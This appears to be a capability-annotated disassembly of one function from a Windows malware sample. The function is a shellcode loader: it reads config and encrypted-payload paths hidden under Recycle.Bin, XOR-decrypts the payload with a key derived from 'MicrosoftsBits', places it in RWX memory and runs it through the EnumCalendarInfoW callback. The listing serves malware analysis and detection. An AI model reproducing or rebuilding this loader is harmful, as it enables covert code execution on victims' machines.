Function at 0x140002130
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x140037060]
xor rax, rsp
mov qword [rbp + 0x1d8], rax
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
lea r8d, [r14 + 0x22]
lea rdx, str._Recycle.Binhamastar_2024_lzs.pdf
lea rcx, [rsp + 0x30]
call fcn.1400044d0
nop
lea rcx, [rsp + 0x30]
call fcn.140001ec0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400021e1
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029c4
call fcn.140006cf0
mov qword [rbp + 0x1a8], r14
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c0], 0xf
mov byte [rbp + 0x1a8], 0
mov r8d, 0x17
lea rdx, str._Recycle.Binconfig.ini
lea rcx, [rbp + 0x1a8]
call fcn.1400044d0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x60]
call fcn.140009200
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov ebx, 1
mov r8d, ebx
lea rcx, [rbp + 0x60]
call fcn.140004200
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], r12
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x5c], edx
mov rcx, qword [rbp + 0x60]
movsxd rax, dword [rcx + 4]
lea r13, vtable.std::ios_base.0
test byte [rbp + rax + 0x70], 6
je 0x1400022dd
lea rdx, str.open_config_file_error:
lea rcx, [0x140038390]
call fcn.140004c00
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b8]
mov rcx, rax
call fcn.140005650
mov rcx, rax
call fcn.140004e70
lea rdi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
jmp 0x1400028fd
mov qword [rbp + 0x188], r14
mov qword [rbp + 0x198], r14
mov qword [rbp + 0x1a0], 0xf
mov byte [rbp + 0x188], 0
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0xa0]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x1d0], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp + 0x1c8]
call fcn.140004ac0
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx edi, al
mov rcx, qword [rbp + 0x1d0]
test rcx, rcx
je 0x140002358
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002358
mov r8, qword [rax]
mov edx, ebx
mov rcx, rax
call qword [r8]
movzx r8d, dil
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x60]
call fcn.1400058b0
lea rcx, [rbp + 0x70]
call fcn.1400040d0
mov edi, 6
lea r15d, [rdi - 4]
test rax, rax
jne 0x1400023a8
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001d90
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call fcn.140009200
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rdx, qword [rbp + 0x188]
mov r8d, 0x20
lea rcx, [rsp + 0x50]
call fcn.140004200
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], r12
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
je 0x140002458
lea rdx, str.open_encrypted_file_error:
lea rcx, [0x140038390]
call fcn.140004c00
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
mov rcx, rax
call fcn.140005650
mov rcx, rax
call fcn.140004e70
jmp 0x140002845
mov r8d, r15d
lea rcx, [rsp + 0x50]
call fcn.140003930
lea rax, [rsp + 0x50]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
test rcx, rcx
je 0x14000248b
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x50]
call fcn.1400046e0
mov byte [rbp + 0x1d0], al
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
jne 0x1400024d6
mov rcx, qword [rbp + rcx - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], ebx
mov r9d, ebx
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
jmp 0x1400024f0
mov qword [rsp + 0x30], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax - 0x68]
test rcx, rcx
je 0x1400024fc
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rsi, qword [rsp + 0x30]
add rsi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov eax, dword [rsp + rcx + 0x60]
lea r9, [rsp + 0x50]
add rcx, r9
mov edx, 4
cmp qword [rcx + 0x48], 0
cmovne edx, r14d
and eax, 0xfffffffe
or edx, eax
xor r8d, r8d
call fcn.140001d90
lea rax, [rsp + 0x50]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
test rcx, rcx
je 0x14000255c
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x50]
call fcn.1400046e0
mov byte [rbp + 0x1d0], al
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
jne 0x1400025ce
mov rcx, qword [rbp + rcx - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x38]
add rcx, qword [rsp + 0x30]
cmp rcx, 0xffffffffffffffff
jne 0x1400025ce
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001d90
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
test rcx, rcx
je 0x1400025e8
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov qword [rbp + 0x180], r14
test rsi, rsi
je 0x140002678
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x1400029ca
cmp rsi, 0x1000
jb 0x140002647
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x1400029d0
call fcn.140006cf8
mov rcx, rax
test rax, rax
je 0x1400029d6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000264f
mov rcx, rsi
call fcn.140006cf8
mov qword [rbp + 0x170], rax
lea rbx, [rax + rsi]
mov qword [rbp + 0x180], rbx
mov r8, rbx
sub r8, rax
xor edx, edx
mov rcx, rax
call fcn.140009200
mov qword [rbp + 0x178], rbx
mov r8, rsi
mov rdx, qword [rbp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.140003a20
lea rcx, [rsp + 0x60]
call fcn.1400040d0
test rax, rax
jne 0x1400026c2
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
cmp qword [rcx + 0x48], 0
cmovne edi, r15d
or edi, dword [rcx + 0x10]
xor r8d, r8d
mov edx, edi
call fcn.140001d90
movsd xmm0, qword [str.MicrosoftsBits]
movsd qword [rbp + 0x1c8], xmm0
mov eax, dword [0x140032570]
mov dword [rbp + 0x1d0], eax
movzx eax, word [0x140032574]
mov word [rbp + 0x1d4], ax
movzx eax, byte [0x140032576]
mov byte [rbp + 0x1d6], al
mov r10, qword [rbp + 0x170]
mov r9, r14
test rsi, rsi
je 0x140002782
movabs r11, 0x2492492492492493
nop dword [rax]
nop word [rax + rax]
mov r8d, 0xd
sub r8, r9
mov rax, r11
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
mov rax, r11
mul r9
mov rax, r9
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
mov rcx, r9
sub rcx, rax
movzx eax, byte [rbp + r8 + 0x1c8]
xor al, byte [rbp + rcx + 0x1c8]
xor byte [r10 + r9], al
inc r9
cmp r9, rsi
jb 0x140002720
mov rcx, rsi
call fcn.140006d34
mov rdi, rax
mov r8, qword [rbp + 0x178]
mov rdx, qword [rbp + 0x170]
sub r8, rdx
mov rcx, rax
call fcn.140008b50
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.140008b50
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140006cf0
mov ebx, r14d
mov rcx, qword [rbp + 0x170]
test rcx, rcx
je 0x140002845
mov rdx, qword [rbp + 0x180]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000282e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029d6
call fcn.140006cf0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r14
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], r12
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x60]
call fcn.140003670
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rdi
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x4c], edx
mov qword [rbp], r13
lea rcx, [rbp]
call fcn.1400063e0
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x1400028e4
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029dc
call fcn.140006cf0
mov qword [rbp + 0x198], r14
mov qword [rbp + 0x1a0], 0xf
mov byte [rbp + 0x188], 0
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x60], r12
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rbp + 0x70]
call fcn.140003670
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x60], rdi
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x5c], edx
mov qword [rbp + 0x110], r13
lea rcx, [rbp + 0x110]
call fcn.1400063e0
nop
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x140002992
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000298d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029c4
call fcn.140006cf0
mov eax, ebx
mov rcx, qword [rbp + 0x1d8]
xor rcx, rsp
call fcn.140006cd0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000e524
nop
call fcn.140005630
nop
call fcn.1400012f0
int3
call fcn.14000e524
nop
call fcn.14000e524
int3